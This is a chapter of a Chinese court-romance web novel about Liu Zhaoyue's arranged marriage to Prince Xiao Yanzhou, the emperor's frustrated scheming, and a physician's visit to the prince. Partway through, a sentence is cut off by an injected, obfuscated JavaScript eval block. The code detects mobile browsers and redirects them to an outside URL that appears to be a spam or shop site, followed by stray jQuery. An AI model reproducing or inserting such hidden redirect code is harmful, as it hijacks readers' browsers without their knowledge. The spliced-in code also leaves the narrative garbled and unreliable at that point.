22. 风又起
作品:《向未来皇帝骗个婚》 “好啊。”
萧砚舟随意的语气伴着一声轻笑,看向窗外,“既然你愿意,本王有何不可?但前提是柳大人松口。”
柳璇宁眼睛忽然一亮,喜悦从心中破土而出,甚至忽视了柳昭月的存在。
她慌忙点头,服礼告退。
柳昭月耳中,轻快的脚步声渐远,四周再次恢复了宁静。
沉默半晌后,她问道。
“殿下明知道皇帝不会让两个柳家女儿都嫁进璟王府,为何还要这么说?”
如果柳璇宁能沉住气,王氏和柳文耀或许会想办法让她离开京城避风头,随后寻一个合适的人嫁了,也能过上清净日子。
若是她闹着要嫁给萧砚舟,太后和皇帝决不会坐视不管,恐怕......会下旨让她入宫。
柳昭月不信萧砚舟看不到这层。
萧砚舟轻挑眉毛,语调里带着难以捉摸的淡然:“我只是顺手添把柴。”
柳昭月迟疑地看着他。
她不清楚上一世萧胤圻是否曾有意将柳璇宁赐婚于萧砚舟,只记得到她死的时候,他仍未娶妃。
柳璇宁也并未进宫,而是嫁给了顾家的二公子。
这一世,她成了璟王妃,命运显然可以被改变。至于柳璇宁能否如前世一般嫁给顾家的二公子,现在看来还是个未知数。
只不过.....萧砚舟说是顺手,按照他的性格,若无所求,应该不会无缘无故地“顺手”。
柳昭月实在猜不透,萧砚舟此举的真正目的。是想让柳璇宁进宫吗?可这对他有何好处?
“殿下接下来是有什么打算?”她轻声试探。
“准备聘礼。”
“......”
“我问的不是这个。”
“那你问的什么?”萧砚舟凑近,语气认真又不经意。
柳昭月的心微微一颤。
罢了。萧砚舟肯定不会让他吃亏,她也懒得管他有什么目的。
见她不说话,萧砚舟话锋一转,声音低沉,仿佛暗夜中的细语。
“最近的吉日在两月后,虽然准备时间仓促,但耽搁久恐生变故。婚后我们还需在京城待一阵,我处理完事之后,便会启程回越阳。”
柳昭月:“殿下忽然告诉我这些,是需要我做什么吗?”
“只是交代一声,你心里好有个底。”
柳昭月淡淡应了声。
安静须臾,才想起她这时过来,是有话要问萧砚舟。
她目光移动到他左肩伤口上。
“非要如此吗?”
萧砚舟顺着她的目光,低头扫了一眼伤处,唇角微扬:“不用替我觉得付出了很多。”
他的声音如山间风过松林。每一个字都像从深思熟虑后缓缓落下的棋子,无声中稳稳掌控全局。
“只是在达到目的过程中,用了些我可以接受,并觉得无伤大雅的手段。”
柳昭月眉心微蹙,却没有接话。
她无法否认,萧砚舟比任何人都清楚自己要什么。这样的人,生来便是孤独的,好像没有人能走进他的心里。
或许他也有柔软的一面,只是他刻意将它埋藏得太深,深到连他自己都不允许去触碰。
沉默片刻,她低声开口。
“嗯,明白。只是对我来说,下意识还是会认为不值得。”
萧砚舟沉默半晌,随即淡笑出声。
明明柳昭月在替他惋惜,但他依然选择推开那些不必要的情感,提醒道。
“任何时候,心软,是大忌。”
-
月光如水,夜色朦胧。
昏暗幽长的密道,烛火微明,影影绰绰间只见一道修长身影款步而入。
萧砚舟的脚步稳稳落下。
暗门打开。他抬眸,便见赵行知停下踱步的身影,眼中掠过一丝了然。
“什么大事,非要让云霄递信?”他语气平静。
赵行知低眉俯首,恭敬行礼,取出一封已拆开的密信,呈上:“宣王来信。”
萧砚舟的视线在信封和他的脸上停留一瞬,目光淡然扫过信上的内容。
阅毕,他走至烛台旁,将信笺丢入火中,纸屑化作黑烟,在空中飘散殆尽。
“宣王不过是说临南书院占地复杂,需要过段时间才能将地形图绘制出来。既然你看过了,他未提具体日程,也无其他要紧。这种小事,你知道不必急着告诉我。”
他转过身,目光淡淡地落在赵行知身上,声音虽不重,却带着一股无形的压迫感。
“说吧,你想问什么。”
赵行知心中一震,冒出些被戳破的窘迫。
璟王正值盛年,依然未娶,他的婚事自然备受朝中关注。
偏偏在这次射猎宴后,璟王妃的位置突然落在了柳昭月头上。
回府的途中,赵行知耳边几乎没有片刻安宁。
平日里与他并无多少交集的同僚,如今也开始旁敲侧击,暗暗打探背后的玄机。
他不能暴露自己的身份,对于那些问题,只能装傻充愣,心中却早已波涛汹涌。
只因他清楚,萧砚舟早就猜测,皇帝会把柳璇宁塞进府。
娶柳昭月或许是他的对策。
可璟王,是从何时开始有这样的想法的?
赵行知越想越乱。
如果一开始,萧砚舟就有娶柳昭月之意,为何还要让自己去提亲?
他面上不敢显露分毫,低下头,深吸一口气:“臣想问......今日猎宴,都是殿下提前谋划的吗?”
萧砚舟冷冷一笑。
“本王谋划什么,往常也不是事事知会你,怎么其他时候不见你追问,这次倒是好奇了?”
赵行知一时语塞。
萧砚舟静静注视他,良久,缓缓开口:“因为她?”
话音落下,气氛登时变得凝重。
赵行知自问只同柳姑娘有过几面之缘,倒也没有如此割舍不下。
只是,若璟王早有此计,一开始为何要给他希望。
就好像......被戏耍了般。
可他又无法怨怼璟王,以至思绪无从理顺,胸口堵着一股气。
“臣没有。”
赵行知的迟疑,落在萧砚舟眼里,却显得不同寻常。
烛火跃动在他深邃的眸中,仿佛燃烧着某种隐秘的情绪。
“最初,是你主动提起要娶柳昭月,本王也应允了。”
“至于皇帝的计划,本王当时只是猜测。若皇帝并无意做局,你们二人成婚,便是顺其自然的结果。可若萧胤圻真的动了这个心思,本王不得不未雨绸缪。”
萧砚舟缓缓迈步,走向他旁,火光摇曳,他的语气一如既往地平静。
“所以,本王是让你被拒绝后,再提及柳璇宁。”
他抬眸,目光扫向赵行知:“至于本王选择柳昭月....因为这是当前局势中最有利的办法。”
“本王不知,这中间到底是什么让你想不通,明知本王身负箭伤,仍要过来被你问个明白。”萧砚舟的目光微微收敛,语气骤然一顿。
“我只告诉你一句,当初让你去提亲,我并不确定你会被回绝,还特意嘱咐云霄,添上一份聘礼。”
赵行知怔住,抬头看向萧砚舟。
“今日我把这件事掰碎了讲清楚,是给你最后一次机会。日后,不许再质疑本王的决定。”
赵行知大惊失色,忙跪下叩首:“臣知错。”
萧砚舟的目光淡漠疏离,他转过身,步入烛火阴影交织的深处,却在暗门前,停了下来。
“还有,虽然本王跟柳昭月只是逢场作戏,但她的身份终究是璟王妃。若你有不该有的念头,趁早收起来。”
留下这句不容置疑的警告,萧砚舟并未等待答复,抬脚踏入阴影中。
赵行知跪伏在地,冷汗涔涔。片刻后,他望着那道背影消失在密道尽头,才敢长舒一口气。
-
皇城。
磅礴恢弘的太和殿寂静无声,盘龙红柱高高伫立,殿顶如阴云般沉重。
一如萧胤圻此刻的心情。
茶盏、琉璃瓶、笔架,凡是摆在桌子上的东西,此刻都七零八落地躺倒在地。
雕花香炉冒出缕缕白烟,是此刻唯一还伫立在桌面的物件。
“陛下息怒啊。”
柳文耀伏跪在地,说话时肩膀颤动,“事已至此,陛下再生气,也无法收回旨意,只能平白气坏了自己的身子。”
“你让朕如何息怒!”萧胤圻重重手掌砸向桌面,炉身颤动,白色烟灰飘落,“萧砚舟那个逆贼,把朕和太后的谋划全搅坏了!”
他大口喘着气,额头青筋跳动,面色通红。
半晌后。
沉沉吐了口气,闭上眼,问:“朝朕射出的那支箭,有没有查出来是谁干的?”
柳文耀:“当时场面混乱,飞矢无数,且为了猎宴公平公正,使用的都是同样的箭与弓,查无可查。”
“陛下,”柳文耀声音渐沉,似是劝诫,“此乃阳谋,无法可解,眼下最好的办法,只能静观其变。”
不知是喟叹自己棋差一招,还是窥见内心深处的无能,萧胤圻忽然狂笑出声。
快要喘不过气,才不得不停下。
柳文耀欲上前去扶,被萧胤圻伸手拦下,他轻咳嗽两下,眸色漆黑一团:“你此前说,萧砚舟在京城可能有同党?”
柳文耀拱手。
“这也是臣的猜测。毕竟陛下猎宴被袭一事,实在太过巧合。若真是萧砚舟做局,没有无同党,恐怕很难成事。”
“光知道这些有何用!”萧胤圻抬高声音,“你说这话,朕能不知吗?参加猎宴人数众多,朕被袭时,就有数位王爷,几十名侍卫,还有几位朝臣在场,难不成他们都是萧砚舟同党,将他们都杀了?!”
“陛下请息怒。”
柳文耀声音低颤,额头的汗珠悄然滑落,“彻查此事,确实非一朝一夕之功。但事情既然已浮出水面,日后必有机会找出破绽。”
“况且,也说不准,璟王或许真对柳昭月情深意切,这才想到请旨赐婚。”
萧胤圻坐回龙椅,双手放在扶手之上,向后瘫倒,似是耗尽所有力气。
片刻沉寂后,才开口,言语中隐有不甘:“难不成,就这样让柳昭月嫁给萧砚舟?”
他忽然警觉起身。
“若是柳昭月知道了她兄长的事该如何?你确定没有走漏半分?”
柳文耀上前,低声道:“此事发生之时,柳昭月尚且年幼,况且已经过去八年,知情之人,要么是陛下心腹,要么已经身死,柳昭月绝无知道的可能。”
萧胤圻定身思考片刻,虽然心中仍有疙瘩,但仍是缓慢地靠了回去。他指尖敲击扶手,眉头紧皱,心中隐有不安。
忽然目光一转,似是想起什么事,挤占了他的思绪。
萧胤圻微眯眼,看向柳文耀:“朕最近听说,你那个女儿哭闹着要嫁给萧砚舟做侧妃?”
“朕还听说,萧砚舟也同意了。他倒是知道享福,一次娶两个。”
柳文耀双腿一软,跪倒在地。
“小女再不懂事,也绝不敢做出这样的事情。是她外祖母从蜀州来信,说身体抱恙,思念外孙女,想让她回去探望。小女心忧祖母安危,方才在家中哭闹不休。”
“是吗.....”
萧砚舟若有所思,嘴角勾起弧度,“蜀州那偏远的地方,哪里比得上京城?不如把老夫人接来,好侍奉在侧。”
“并非臣不愿,只是老夫人身体欠安,恐怕难以忍受长途跋涉之苦。”
周遭落针可闻。
萧胤圻敲打在扶手上的哒哒声,昭示着一场关乎命运的宣告即将到来。
动作停下。
时间被拉长的每一秒,与柳文耀来说都是煎熬。
“——知道了,你先退下吧。”
不痛不痒的一句话让柳文耀有些意外,心中更是难安,他抬眸暗中观察萧胤圻神色,却分辨不清,只得行礼告退。
-
宫中的赐婚旨意昨日送到了柳昭月的手中。
婚期定在十一月十六,还有不到两个月。
一同送来的,还有璟王府的聘书,此时正摆放在桌子上,金黄色在阳光照射下,熠熠生辉。
昨日聘书送到时,府中众人的议论声甚至都传到了柳昭月耳中。
不怪他们好奇,柳昭月也有些惊讶。她曾听闻过黄金锻造的聘书,却从没亲眼见过。
她原以为这场婚事不过是走个过场,哪怕萧砚舟曾说过,会给她王妃应有的体面,还是未料到,这“体面”会如此隆重。
正想着,耳中忽然传来脚步声。
“信送出去了?”柳昭月抬头看向笑容满面走进来的杏儿。
昨日收到圣旨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480249|150930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她便拟了一封家书,告诉父亲她即将成亲之事,还在信中对萧砚舟极尽赞美之词,生怕父亲误认为她不愿,为她担心。
“已经送出去了。”
杏儿挪到柳昭月身边,似是有话要说,犹豫时藏不住脸上的小窃喜,“......奴婢回来时听说,二小姐被二夫人关进祠堂了,还说过段时间要把二小姐送到蜀州。”
“小姐知道为何吗?”
柳昭月垂眸。
“管她做什么。你切记,二房那边既有意隐瞒,不要在外面议论这件事,万一被抓住把柄,总归不好。”
“我听小姐的。”杏儿扬起下巴,“管她是什么原因,我只觉得大快人心!”
“对了,您交待我的另一桩事,也已经给江郎中带到了,他说明日有空,可以陪同小姐一起去璟王府。”
“好,我知道了。”柳昭月点头。
-
璟王府建成之时,先帝尚在位。
只是萧砚舟刚刚赐封,还未来得及入住,便启程回了越阳封地。
这一空置,便是多年。
直到他归京,皇帝方才命人重新修缮开府。
太阳将要落山。
石狮昂首蹲踞门前,橙黄余晖下威风凛凛。“璟王府”匾额高悬,金字漆底,气势恢宏。
门内更是别有洞天。
马车自正门缓缓驶入,前方是一条长达数百米的御道,两侧栽满了笔直的青松,松针苍翠,遮天蔽日,隐约间能闻到淡淡的松香,风过之时,更有沙沙声响。
若是步行,哪怕体力充沛,也需要一炷香的时间才能到达主院。
不多时,马车轻轻一顿,稳稳停下。
云霄和云睢恭候在不远处,接引她前往王爷居所。
“这璟王究竟是何等人物?”
一旁的江永逸忍不住低声询问,视线扫过四周,落在远处飞檐斗拱的殿宇之间。
他从未进过皇家居所,被眼前壮观冲昏了眼。
相比之下,柳昭月显得神色如常。皇宫比起这里,更是奢靡。
“他是我未来夫君。”
江永逸闻言,脚步顿了一顿,愣愣地看向柳昭月,却也没再追问,敛眸跟上她的脚步。
柳昭月走进萧砚舟的住所,堂前一片青松掩映,几座黛瓦亭台散落其间,伴随着清风,满目青翠,恍若人间仙境。
却未曾想,走进室内会是眼前这番景象。
往日柳昭月见萧砚舟,他都端坐于高位,气势凌人。
如今他却正披着一件松垮的黑色长袍,坐在堂内靠窗的一张榻上,窗棂大开,凉风掠过,吹起他简单束起的长发。
手中捧着一本书,整个人慵懒地倚在一堆软垫间,眉目间的锋芒柔和几分,竟有些闲散公子哥的气质。
他的目光从书页上移开时,眼角含着一丝病中的倦意,并未起身,只是淡淡瞧了进门的两人一眼。
“来了?”
柳昭月上前一步:“见过殿下。”
一旁的江永逸,连忙跪下行礼。
萧砚舟摆了摆手,让跪在地上的江永逸起身。
他将书轻轻合上,随手搁在旁边的几案上,抬眼看向柳昭月,目光不疾不徐地打量着她。
片刻后,视线又落向她身边。
“这便是你提过的江郎中?”
说话间,他从塌上起身,步伐闲散,走到柳昭月身旁,轻轻拉过她的衣袖,将她引至桌前一同坐下。
柳昭月微微一愣,随即点头:“是,今日带来他来给殿下请脉。”
搭脉时,萧砚舟也没闲着,开始盘问起江永逸的身世。
也是在这会儿,柳昭月才从他身上找回一些属于“萧砚舟”张扬与凌厉的熟悉感。
“既然不是京城人氏,你们两人是如何结识的?”
话题冷不丁落在柳昭月头上,她还没反应过来,江永逸便自然接上了话。
“草民最窘迫的时候,柳姑娘出手相助,才让草民有机会在京城落脚。”他话音稍钝,浅笑浮现在眼尾,“柳姑娘是草民的恩人。“
萧砚舟意味深长地应了声。
柳昭月的眉心微不可察地跳了一下,抬眼便对上萧砚舟那似笑非笑的目光。
紧接着,他的声音缓缓落下。
“你交朋友的方式还挺特别。”
“......”
似是觉得不够,又补充道:“竟是尊活菩萨。”
“......”
江永逸察觉到气氛的微妙变化,忙开口岔开话题:“王爷此前是否有心悸不寐或多梦易醒之症?”
萧砚舟收回视线,赞叹道:“江郎中好医术。本王前两年却有此症,但近来已经好了不少。”
柳昭月心中一顿,好奇抬眼望去。
萧砚舟素来运筹帷幄、冷静自持,竟也会有夜不能寐的时候吗?
只是他神色漫不经心,仿佛在谈论一件无足轻重的小事。
“王爷过誉。夜深而不眠,难免会损耗气血,而气血最是难补,所以才能从脉象上探得。”
江永逸犹豫片刻,
“医者,以治病救人为本,因此才有望闻问切之理。草民接下来的话或许冒犯,还请王爷恕罪。”
江永逸话至此,蓦然止住。
他垂首敛目,似是犹豫着该不该继续说下去。室内一时静得仿佛连风都停滞了,唯有窗外树枝的摇曳声隐隐传入。
萧砚舟挑眉,语气不紧不慢:“说吧,既然是医者之问,本王听着便是。”
江永逸转头看向柳昭月,语气平缓:“此问或不宜旁听,还望姑娘暂且回避。”
“她回避什么?本王说可以听,她便能听。”
江永逸闻言,只得颔首,拱手低声道:“不知王爷清晨是否有阳事举发之象,此乃是衡量肾气盛衰的重要标准之一。”
“若肾气不足,则不会出现此现象,或因忧思劳心、气血亏虚所致,从而造成多梦易醒、夜不成寐,甚至牵连其他症候。因此,草民斗胆一问,只为更好诊治,还望王爷赎罪。”
“......”
此言一出,室内顿时陷静默。
时间仿佛拉长变缓,柳昭月如坐针毡,心底莫名的灼热感攀上心头,对于外界的唯一感知,便是逐渐燃烧的耳尖。
她终于忍不住,轻咳一声。
“不如....我还是先回避吧。”